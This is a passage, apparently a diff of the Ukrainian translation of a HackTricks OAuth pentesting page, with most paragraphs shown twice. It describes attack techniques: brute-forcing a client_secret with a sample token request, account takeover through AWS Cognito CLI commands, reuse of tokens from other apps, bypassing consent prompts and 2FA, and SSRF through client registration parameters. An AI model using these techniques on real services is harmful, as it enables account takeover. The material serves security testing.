Загальна вразливість виникає, коли додатки помилково обробляють обмін авторизаційним `code` на `access_token` на стороні клієнта, а не на стороні сервера. Ця помилка призводить до розкриття `client_secret`, що дозволяє зловмисникам генерувати `access_tokens` під виглядом додатка. Більше того, через соціальну інженерію зловмисники можуть підвищити привілеї, додаючи додаткові області до авторизації OAuth, ще більше експлуатуючи довірений статус додатка.
### Брутфорс секрету клієнта
Ви можете спробувати **брутфорсити client_secret** постачальника послуг з ідентифікатором постачальника, щоб спробувати вкрасти облікові записи.\
Ви можете спробувати **брутфорсити client\_secret** постачальника послуг з ідентифікатором постачальника, щоб спробувати вкрасти облікові записи.\
Запит на BF може виглядати приблизно так:
```
POST /token HTTP/1.1
@ -123,11 +123,11 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
Якщо клієнт має **код і стан**, і вони **відображаються в заголовку Referer** при переході на іншу сторінку, то це вразливість.
Якщо клієнт має **код і стан**, і вони **відображаються в заголовку Referer** при переході на іншу сторінку, то це вразливо.
### Access Token Stored in Browser History
Перейдіть до **історії браузера і перевірте, чи збережено там токен доступу**.
Перейдіть до **історії браузера і перевірте, чи збережено токен доступу**.
### Everlasting Authorization Code
@ -143,7 +143,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito <a href="#bda5" id="bda5"></a>
У цьому звіті про баг-баунті: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) ви можете побачити, що **токен**, який **AWS Cognito** повертає користувачу, може мати **достатньо прав для перезапису даних користувача**. Тому, якщо ви можете **змінити електронну пошту користувача на іншу електронну пошту**, ви можете **захопити** акаунти інших.
У цьому звіті про баги: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) ви можете побачити, що **токен**, який **AWS Cognito** повертає користувачу, може мати **достатньо прав для переписування даних користувача**. Тому, якщо ви можете **змінити електронну пошту користувача на іншу електронну пошту**, ви можете **захопити** акаунти інших.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -160,13 +160,13 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
]
}
```
For more detailed info about how to abuse AWS cognito check:
Для більш детальної інформації про те, як зловживати AWS cognito, перегляньте:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
### Abusing other Apps tokens <a href="#bda5" id="bda5"></a>
### Зловживання токенами інших додатків <a href="#bda5" id="bda5"></a>
Як [**зазначено в цьому звіті**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth потоки, які очікують отримати **токен** (а не код), можуть бути вразливими, якщо не перевіряють, що токен належить додатку.
Як [**зазначено в цьому звіті**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), потоки OAuth, які очікують отримати **токен** (а не код), можуть бути вразливими, якщо не перевіряють, що токен належить додатку.
Це пов'язано з тим, що **зловмисник** може створити **додаток, що підтримує OAuth і входити через Facebook** (наприклад) у своєму додатку. Потім, коли жертва входить через Facebook у **додатку зловмисника**, зловмисник може отримати **OAuth токен користувача, наданий його додатку, і використовувати його для входу в OAuth додаток жертви, використовуючи токен користувача жертви**.
@ -174,26 +174,30 @@ For more detailed info about how to abuse AWS cognito check:
Отже, якщо зловмисник зможе отримати доступ користувача до свого OAuth додатку, він зможе захопити обліковий запис жертви в додатках, які очікують токен і не перевіряють, чи був токен наданий їхньому ID додатку.
{% endhint %}
### Two links & cookie <a href="#bda5" id="bda5"></a>
### Два посилання та cookie <a href="#bda5" id="bda5"></a>
Згідно з [**цим звітом**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), було можливо змусити жертву відкрити сторінку з **returnUrl**, що вказує на хост зловмисника. Ця інформація буде **збережена в cookie (RU)**, а на **пізнішому етапі** **підказка** запитає **користувача**, чи хоче він надати доступ до цього хосту зловмисника.
Згідно з [**цим звітом**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), було можливим змусити жертву відкрити сторінку з **returnUrl**, що вказує на хост зловмисника. Ця інформація буде **збережена в cookie (RU)**, а на **пізнішому етапі** **підказка** запитає **користувача**, чи хоче він надати доступ до цього хосту зловмисника.
Щоб обійти цю підказку, було можливо відкрити вкладку для ініціювання **Oauth потоку**, яка встановить цей RU cookie, закрити вкладку до того, як з'явиться підказка, і відкрити нову вкладку без цього значення. Тоді **підказка не повідомить про хост зловмисника**, але cookie буде встановлено на нього, тому **токен буде надіслано на хост зловмисника** під час редиректу.
Щоб обійти цю підказку, було можливим відкрити вкладку для ініціювання **Oauth потоку**, яка встановить цей RU cookie, закрити вкладку до того, як з'явиться підказка, і відкрити нову вкладку без цього значення. Тоді **підказка не повідомить про хост зловмисника**, але cookie буде встановлено на нього, тому **токен буде надіслано на хост зловмисника** під час редиректу.
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
### Обхід взаємодії з підказкою <a href="#bda5" id="bda5"></a>
Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), деякі реалізації OAuth дозволяють вказати параметр **`prompt`** GET як None (**`&prompt=none`**), щоб **запобігти запитам до користувачів на підтвердження** наданого доступу в підказці на веб-сторінці, якщо вони вже увійшли на платформу.
Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), деякі реалізації OAuth дозволяють вказати параметр **`prompt`** GET як None (**`&prompt=none`**), щоб **запобігти запитам до користувачів на підтвердження** наданого доступу в підказці в вебі, якщо вони вже увійшли на платформу.
### response\_mode
Як [**пояснено в цьому відео**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), можливо вказати параметр **`response_mode`**, щоб вказати, де ви хочете, щоб код був наданий у фінальному URL:
* `response_mode=query` -> Код надається всередині GET параметра: `?code=2397rf3gu93f`
* `response_mode=fragment` -> Код надається всередині фрагмента URL параметра `#code=2397rf3gu93f`
* `response_mode=fragment` -> Код надається всередині фрагменту URL параметра `#code=2397rf3gu93f`
* `response_mode=form_post` -> Код надається всередині POST форми з полем введення, названим `code`, і значенням
* `response_mode=web_message` -> Код надсилається в пост-повідомленні: `window.opener.postMessage({"code": "asdasdasd...`
### SSRFs parameters <a href="#bda5" id="bda5"></a>
### OAuth ROPC потік - обхід 2 FA <a href="#b440" id="b440"></a>
Згідно з [**цим блогом**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), це OAuth потік, який дозволяє входити в OAuth через **ім'я користувача** та **пароль**. Якщо під час цього простого потоку повертається **токен** з доступом до всіх дій, які може виконати користувач, то можливо обійти 2FA, використовуючи цей токен.
### Параметри SSRFs <a href="#bda5" id="bda5"></a>
[**Перевірте це дослідження**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Для подальших деталей цієї техніки.**
@ -201,7 +205,7 @@ For more detailed info about how to abuse AWS cognito check:
**Ключові моменти:**
* **Динамічна реєстрація клієнтів** зазвичай відображається на `/register` і приймає деталі, такі як `client_name`, `client_secret`, `redirect_uris` та URL для логотипів або JSON Web Key Sets (JWKs) через POST запити.
* **Динамічна реєстрація клієнтів** часто відображається на `/register` і приймає деталі, такі як `client_name`, `client_secret`, `redirect_uris` та URL для логотипів або JSON Web Key Sets (JWKs) через POST запити.
* Ця функція відповідає специфікаціям, викладеним у **RFC7591** та **OpenID Connect Registration 1.0**, які включають параметри, потенційно вразливі до SSRF.
* Процес реєстрації може ненавмисно піддавати сервери SSRF кількома способами:
* **`logo_uri`**: URL для логотипу клієнтського додатку, який може бути отриманий сервером, викликавши SSRF або призвівши до XSS, якщо URL обробляється неправильно.
@ -214,11 +218,11 @@ For more detailed info about how to abuse AWS cognito check:
* SSRF може бути активовано шляхом реєстрації нового клієнта з зловмисними URL в параметрах, таких як `logo_uri`, `jwks_uri` або `sector_identifier_uri`.
* Хоча пряма експлуатація через `request_uris` може бути зменшена за допомогою контролю білого списку, надання попередньо зареєстрованого, контрольованого зловмисником `request_uri` може полегшити SSRF під час фази авторизації.
## OAuth providers Race Conditions
## Умови гонки постачальників OAuth
Якщо платформа, яку ви тестуєте, є постачальником OAuth [**прочитайте це, щоб перевірити можливі Race Conditions**](race-condition.md).
Якщо платформа, яку ви тестуєте, є постачальником OAuth, [**прочитайте це, щоб перевірити можливі умови гонки**](race-condition.md).
## References
## Посилання
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
@ -228,16 +232,16 @@ For more detailed info about how to abuse AWS cognito check:
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте за нами в** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}